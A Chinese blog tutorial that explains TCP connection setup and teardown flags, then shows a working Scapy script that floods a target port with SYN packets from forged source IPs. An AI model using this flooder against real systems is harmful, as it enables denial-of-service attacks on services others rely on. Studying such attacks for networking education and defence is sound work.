zoukankan      html  css  js  c++  java
  • 深入理解三次握手四次挥手以及使用scapy实现ddos雏形

    前言

    确认位ACK 只有当ACK=1时确认号字段才有效。当ACK=0时,确认号无效

    TCP规定,在连接建立后所有传送的报文段都必须把ACK置1

    同步位SYN 同步SYN=1表示这是一个连接请求或者连接接收报文

    当SYN=1,ACK=0时,表明这是一个连接请求报文,对方若同意建立连接,则在响应报文中使用SYN=1,ACK=1.即,SYN=1就表示这是一个连接请求或连接接收报文

    终止位 FIN 用来释放一个连接。FIN=1表面此报文段的发送方的数据已发送完毕,并要求释放传输连接。

    三次握手

    第一步:客户机的TCP首先向服务器的TCP发送一个连接请求报文段。这个特殊的报文段中不含应用层数据,其首部中的SYN标志位被置为1.另外,客户机会随机选择一个启始序号seq=x(连接请求报文不携带数据,但要消耗掉一个序号)

    第二步:服务器的TCP收到连接请求报文段后,如同意建立连接,就向客户机发回确认,并为该TCP连接分配TCP缓存和变量。在确认报文段中,SYN和ACK位都被置为1,确认号字段的值为x+1,并且服务器随机产生起始序列号seq=y(确认报文不携带数据,但也要消耗掉一个序号)。确认报文段同样不包含应用层数据

    第三步:当客户机收到确认报文段后,还要向服务器给出确认,并且也要给该连接分配缓存和变量。这个报文段的ACK标志位被置1,序号字段为x+1,确认号字段ack=y+1.该报文段可以携带数据,如果不携带数据则不消耗序号

    接下来就可以接收数据了,由于TCP是全双工通信,因此通信两方的应用进程在任何时候都能发送数据

    另外, 服务器端的资源是在完成第二次握手时分配的,而客户端的资源是在完成第三次握手时分配的。这就使得服务器易于受到SYN泛洪攻击

    四次挥手

    第一步:客户机打算关闭连接,就向其TCP发送一个连接释放报文段,并停止再发送数据,主动关闭TCP连接,该报文段的FIN标志位被置1,seq=u,它等于前面已传送过的数据的最后一个字节的序号加1(FIN报文段即使不携带数据,也要消耗掉一个序号)。TCP是全双工的,即可以想象成是一条TCP连接上有两条数据通路,当发送FIN报文时,发送FIN的一端就不能再发送数据,也就是关闭了其中一条数据通路,但对方还可以发送数据

    第二步:服务器收到连接释放报文段后即发出确认,确认后是ack=u+1,而这个报文段自己的序号为v,等于它前面已传送过的数据的最后一个字节的序号加1.此时,从客户机到服务器这个方向的连接就释放了,TCP连接处于半关闭状态。但服务器若发送数据,客户机仍要接收,即从服务器到客户机这个方向的连接并未关闭

    第三步:若服务器已经没有要向客户机发送的数据,就通知TCP释放连接,此时其发出FIN=1的连接释放报文段

    第四步:客户机收到连接释放报文段后,必须发出确认。在确认报文段中,ACK字段被置为1,确认后为ack=w+1,序号为seq=u+1.此时TCP连接还没有释放掉,必须经过时间等待计时器设置的时间2MSL后,客户机才进入到连接关闭状态。

    总结

    • 连接建立
      • SYN=1, seq=x
      • SYN=1, ACK=1, seq=y, ack=x+1
      • ACK=1, seq=x+1, ack=y+1
    • 释放连接
      • FIN=1, seq=u
      • ACK=1, seq=v, ack=u+1
      • FIN=1, ACK=1, seq=w, ack=u+1
      • ACK=1, seq=u+1, ack=w+1

    SYN泛洪攻击

    SYN攻击利用的是TCP三次握手机制,攻击端利用伪造的IP地址向被攻击端发出请求,而被攻击端发出的响应报文将永远发送不到目的地,那么被攻击端在等待关闭这个连接的过程中消耗了资源,如果有成千上万的这种连接,主机资源将被耗尽,从而达到攻击的目的。

    Scapy实现ddos简单攻击

    使用Scapy构造一个简单的数据包看一下:

    pkt = IP(dst = "192.168.0.10")

    接下来我们就构造一个SYN包:

    pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

    (我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

    代码实现

    import random
    from scapy.all import *
    
    def synFlood(tgt,dPort):
        srclist = ['33.56.32.1','128.33.69.52','211.2.32.23','221.43.39.137']
        for sPort in range(1,65535):
            index = random.randint(0,3)
            ipLayer = IP(src = srclist[index],dst = tgt)
            tcoLayer = TCP(sport = sPort, dport = dPort, flags = 'S')
            packet1 = ipLayer/tcoLayer
            print(packet1)
            send(packet1)
    
    synFlood('127.0.0.1',80)
    
  • 相关阅读:
    一步一步使用Ext JS MVC与Asp.Net MVC 3开发简单的CMS后台管理系统之用户管理(1)
    一步一步使用Ext JS MVC与Asp.Net MVC 3开发简单的CMS后台管理系统之创建Viewport(2)
    一步一步使用Ext JS MVC与Asp.Net MVC 3开发简单的CMS后台管理系统之用户管理(2)
    一步一步使用Ext JS MVC与Asp.Net MVC 3开发简单的CMS后台管理系统之完成登录功能
    一步一步使用Ext JS MVC与Asp.Net MVC 3开发简单的CMS后台管理系统之登录窗口调试
    一步一步使用Ext JS MVC与Asp.Net MVC 3开发简单的CMS后台管理系统之创建Viewport(1)
    一步一步使用Ext JS MVC与Asp.Net MVC 3开发简单的CMS后台管理系统之创建输出验证码图片的控制器
    一步一步使用Ext JS MVC与Asp.Net MVC 3开发简单的CMS后台管理系统之调整首页显示
    一步一步使用Ext JS MVC与Asp.Net MVC 3开发简单的CMS后台管理系统之登录窗口
    一步一步使用Ext JS MVC与Asp.Net MVC 3开发简单的CMS后台管理系统之用户管理(3)
  • 原文地址:https://www.cnblogs.com/alex3174/p/11379346.html
Copyright © 2011-2022 走看看